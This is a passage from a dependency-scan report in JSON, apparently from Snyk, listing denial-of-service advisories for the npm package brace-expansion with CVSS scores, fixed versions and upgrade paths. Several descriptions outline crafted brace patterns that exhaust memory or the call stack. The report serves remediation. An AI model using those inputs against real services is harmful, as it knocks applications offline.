"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
